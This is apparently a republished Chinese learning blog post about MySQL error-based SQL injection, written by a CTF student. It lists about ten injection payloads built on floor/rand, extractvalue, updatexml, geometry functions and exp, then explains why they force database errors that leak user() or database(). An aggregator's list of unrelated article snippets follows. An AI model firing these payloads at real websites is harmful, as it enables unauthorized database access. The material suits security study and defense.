mysql中文注入_SQL注入之Mysql报错注入

——志向和热爱是伟大行为的双翼。

昨天偷懒了没学什么东西,先自我反省一下 - -。

今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中遇到的web100。当时懵逼状态,被学长提醒了一下才知道是Mysql报错注入,因为之前一直都没接触过,所以当时只是知道怎么用然后拿了flag。其实根本不知道什么原理怎么回事,直到今天才把一些常见的报错注入方法原理搞懂,所以写篇博客来加深记忆以便后期会议。

首先,SQL有一下几种:

1.UNION query SQL injection(可联合查询注入)

2.Boolean-based blind SQL injection(布尔型注入)

3.Error-based SQL injection(报错型注入)

4.Stacked queries SQL injection(可多语句查询注入)

5.Time-based blind SQL injection(基于时间延迟注入)

今天我们说的就是Mysql的报错注入(想了解其他的请移步这里),共有11中方法(最后一种不适用于老版本)。

1,floor() payload:

and select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2))--

fc17a822b9c1a6ee290adac9d363d88e7ab.jpg

2, extractvalue() payload:

and extractvalue(1,concat(0x7e,user(),0x7e))--

c6a473c80d6bedea131fe91cc7cd7aa274c.jpg

3, updatexml() payload:

and updatexml(1,concat(0x7e,(select user()),0x7e),1)--

9260a3f9597b3f3af8ae5c80f7896e57a54.jpg

4, geometrycollection() payload:

and geometrycollection((select * from(select * from(select user())a)b))--

5, multipoint() payload:

and multipoint((select * from(select * from(select user())a)b))--

6, polygon() payload:

and polygon((select * from(select * from(select user())a)b))--

7, multipolygon() payload:

and multipolygon((select * from(select * from(select user())a)b))--

8, linestring() payload:

and linestring((select * from(select * from(select user())a)b))--

9, multilinestring() payload:

and multilinestring((select * from(select * from(select user())a)b))--

10, exp() payload:

and exp(~(select * from(select user())a))--

11,基于Mysql的数据类型溢出(不适用于老版本的Mysql,5.5以后版本)

Mysql报错注入原理分析(count()、rand()、group by):

基本上一下午都耗在这里了,因为实在不是很容易懂,其实也不是,只是开始的时候浪费了很长时间在一些讲的不透彻的资料上,接下来我就说一下我自己的理解。

我们先来了解一下这三个函数的作用:

count():统计有select语句返回的记录。

rand():随机生成0-1之间的浮点数  rand()*2就是0-2之间的浮点数

group by:用于结合合计函数,根据一个或多个列对结果集进行分组。不懂的话具体例子看这里:GROUP BY

另外  floor()函数是取整的意思。

我们使数据库报错的payload有两种  1. and select concat(*) from information_schema.tables group by concat(database(),floor(rand(0)*2))--

2. and select concat(*) from information_schema.tables group by concat(database(),floor(rand()*2))--

这两个语法的区别在于 rand()函数有没有随机因子0,有随机因子的payload必定报错(因为有随机因子的语句生成的值固定——有规律),而没有随机因子的payload随机报错(随机生成值,无规律)。

原理:

当MySQL数据库执行该语句的时候会建立一个虚拟表,表中有主键key和count(*)。当从数据库提取数据时,执行一次payload,提取的值为0,接下来会访问虚拟表检查是否存在0,因为我们这是第一次执行,所以表中不存在数据,所以我们将数据插进虚拟表中,这时又执行了一次payload,这次的值为1,所以向虚拟表中插入key:1,count(*):1。接下来第二次提取数据,执行payload获得数据1,再次查询虚拟表,存在1,所以直接count(*)+1,这时我们已经执行了三次payload,继续第三次提取数据,执行语句,得到数据0,查询虚拟表中不存在0,所以向虚拟表中插入数据,执行payload得到1,插入表中,而虚拟表中此刻为: key:1,count(*):2。由于1已经存在,继续向数据表中插入1导致报错。其实简单来说,导致报错的原因就是数据库中主键的不可重复性。

这就是为什么有随机因子的payload在数据库表大于3的情况下一定会报错,而另一个随机报错。我建议自己安装一个MySQL,然后在命令行下试一试这几个函数的效果,非常有助于理解。不是很好理解,如果本片文章不能让你看懂的话,可以移步这里,我也是在这篇博客的教导下自己在虚拟机中实践学懂的,没那么难理解。

XML查询函数报错原理(extractvalue,updatexml):

这两个函数报错的原理其实都是一样的,因为函数的第二个参数要求为Xpath 的string格式,而我们用concat函数生成的是连接的字符串,因此报错。

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

extractvalue函数同理。

本文主要说了前三种报错注入的方法和原理,其余的因为我暂时还没遇到 感觉并不常用所以以后遇到的时候在补回来,如果对其他的报错注入有兴趣可以点这里。

最后希望自己在这条路上继续坚持下去,保持热情,路途遥远且行且珍惜,共勉。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/565543.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算字符位置

根据已有的字符串找到自己想要的字符位置,程序会帮助你找到你想要的任意字符的位置,包括一共有几个这样的字符,第一次在哪里出现,最后一次在哪里出现等。 结果演示 代码演示 package com.eight; public class FangFa {public s…

【youcans 的 OpenCV 例程200篇】167.基于移动平均的可变阈值处理

欢迎关注 『youcans 的 OpenCV 例程 200 篇』 系列,持续更新中 欢迎关注 『youcans 的 OpenCV学习课』 系列,持续更新中 【youcans 的 OpenCV 例程200篇】167.基于移动平均的可变阈值处理 3.7 基于移动平均的可变阈值处理 移动平均法是一种简单高效的局…

【youcans 的 OpenCV 例程200篇】169.图像分割之区域分离

欢迎关注 『youcans 的 OpenCV 例程 200 篇』 系列,持续更新中 欢迎关注 『youcans 的 OpenCV学习课』 系列,持续更新中 【youcans 的 OpenCV 例程200篇】169.图像分割之区域分离 ### 4.2 区域分离与聚合 区域分裂合并算法的基本思想是将图像细分为一组…

多彩三角形

H5特效多才三角形&#xff0c;使用H5新特性canvas画布制作的四周阴影效果中部出现很多的各种颜色的三角形。 效果演示 代码演示 <!DOCTYPE HTML> <html><head><title>demo</title><style type"text/css">body {margin: 0;pa…

ado.net mysql 连接池_ADO.NET数据连接池

【IT168 技术文档】21世纪什么最贵&#xff1f;数据库连接。对于以数据库做数据存储基石的应用系统来说&#xff0c;数据库连接是整个系统中最珍贵的资源之一。数据库连接池是为了更有效地利用数据库连接的最重要措施。它对于一个大型的应用系统的性能至关重要&#xff0c;特别…

【youcans 的 OpenCV 例程200篇】170.图像分割之K均值聚类

【OpenCV 例程200篇】 系列&#xff0c;持续更新中… 【OpenCV 例程200篇 总目录-202205更新】 【youcans 的 OpenCV 例程200篇】170.图像分割之K均值聚类 5. 区域分割之聚类方法 5.1 基于 k 均值聚类的区域分割 聚类方法的思想是将样本集合按照其特征的相似性划分为若干类别…

计算名次和奖学金

使用Java的switch的判断计算学生的名次和对应的奖学金&#xff0c;根据文本提示输入你的名词&#xff0c;点击Enter之后会出现你应该获得的奖学金金额。 结果演示 代码演示 package com.eight; import java.util.Scanner; public class Mingci {public static void main(Str…

android反射开启通知_Android中反射的简单应用

自己对反射的理解和应用还处于比较浅显的阶段&#xff0c;写这篇文章更多在于整理总结&#xff0c;也就是帮助自己进一步的理解和学习反射机制。反射反射的概念是由Smith在1982年首次提出的&#xff0c;主要是指程序可以访问、检测和修改它本身状态或行为的一种能力。java中类反…

【OpenCV 例程200篇 目录-202205更新】

欢迎关注 『youcans 的 OpenCV 例程 200 篇』 系列&#xff0c;持续更新中 欢迎关注 『youcans 的 OpenCV学习课』 系列&#xff0c;持续更新中 【OpenCV 例程200篇 目录】 更新日期&#xff1a;2022-05-12 【youcans 的 OpenCV 例程200篇】01. 图像的读取&#xff08;cv2.im…

最大值平均值和排序

根据文本提示输入五个年龄&#xff0c;点击Enter之后程序会输出五个年龄中最大的年龄&#xff0c;平均年龄即年龄从小到大的排序分别是啥。 结果演示 代码演示 package com.nine; import java.util.Scanner; import java.util.Arrays; public class Shuzu {public static v…

【youcans 的 OpenCV 例程200篇】171.SLIC 超像素区域分割

OpenCV 例程200篇 总目录-202205更新 【youcans 的 OpenCV 例程200篇】171.SLIC 超像素区域分割 5. 区域分割之聚类方法 5.2 基于超像素的区域分割 超像素图像分割基于依赖于图像的颜色信息及空间关系信息&#xff0c;将图像分割为远超于目标个数、远小于像素数量的超像素块&…

判断三角形是否是直角三角形

根据文本提示分别输入第一第二第三条三角形的边长&#xff0c;程序会根据勾股定理计算是否是直角三角形&#xff0c;如果是直角三角形&#xff0c;会显示该三角形是直角三角形&#xff0c;如果不是直角三角形则显示该三角形不是直角三角形。 结果演示 代码演示 package com.…

【youcans 的 OpenCV 例程200篇】172.SLIC 超像素区域分割算法比较

OpenCV 例程200篇 总目录-202205更新 【youcans 的 OpenCV 例程200篇】172.SLIC 超像素区域分割算法比较 5. 区域分割之聚类方法 5.3 SLIC 超像素区域分割 SLIC 基于网格化 K-means 聚类方法&#xff0c;原理简单&#xff0c;计算复杂度为O(N)&#xff0c;N 为像素点个数。 S…

【youcans 的 OpenCV 例程200篇】173.SEEDS 超像素区域分割

OpenCV 例程200篇 总目录-202205更新 【youcans 的 OpenCV 例程200篇】173.SEEDS 超像素区域分割 5.4 SEEDS 超像素区域分割 超像素个体应在视觉上一致&#xff0c;特别是颜色应尽可能均匀。SLIC 使用欧几里德距离来度量像素点的相似度&#xff0c;不能反映颜色的方差。 SEED…

能否组成三角形

根据三角形三边长判断是否可以组成一个三角形&#xff0c;如果输入的不对会给出相应的提示。 结果演示 代码演示 package com.nine; import java.util.Scanner; public class ZhiJiao {public static void main(String[] args) {Scanner scan new Scanner(System.in);System…

【youcans 的 OpenCV 例程200篇】174.LSC 超像素区域分割

【OpenCV 例程200篇 总目录-202206更新】** 【youcans 的 OpenCV 例程200篇】174.LSC 超像素区域分割 5.5 LSC 超像素区域分割 线性谱聚类&#xff08;Linear Spectral Clustering&#xff0c;LSC&#xff09;是 SLIC 的改进方案&#xff0c;可以生成紧凑且均匀的超像素&…

修改SqlServer的登录密码

我们每次打开SqlServer数据库的时候首先会让我们登录用户名和密码&#xff0c;那么我们如何修改之前设定的密码呢&#xff1f; 1.打开我们的SqlServer 2.点击安全性&#xff0c;选择自己登录SqlServer的账户双击看到如下页面 3.在密码和确认密码的输入框中修改我们的新密码。…

java递归栈_java-66-用递归颠倒一个栈。例如输入栈{1,2,3,4,5},1在栈顶。颠倒之后的栈为{5,4,3,2,1},5处在栈顶...

import java.util.Stack;public class ReverseStackRecursive {/*** Q 66.颠倒栈。* 题目&#xff1a;用递归颠倒一个栈。例如输入栈{1,2,3,4,5}&#xff0c;1在栈顶。* 颠倒之后的栈为{5,4,3,2,1}&#xff0c;5处在栈顶。*1. Pop the top element*2. Reverse the remaining st…

Redis DeskTop Manager 使用教程

redis desktop manager windows 是一款能够跨平台使用的开源性redis可视化工具。 redis desktop manager主要针对redis开发设计&#xff0c;拥有直观强大的可视化界面&#xff0c;具有完善全面的数据操作功能&#xff0c;可以针对目标key执行rename&#xff0c;delete&#xf…

【youcans 的 OpenCV 例程200篇】175.超像素区域分割方法比较

【youcans 的 OpenCV 例程200篇】175.超像素区域分割方法比较 5.2 基于超像素的区域分割 超像素图像分割基于依赖于图像的颜色信息及空间关系信息&#xff0c;将图像分割为远超于目标个数、远小于像素数量的超像素块&#xff0c;达到尽可能保留图像中所有目标的边缘信息的目的…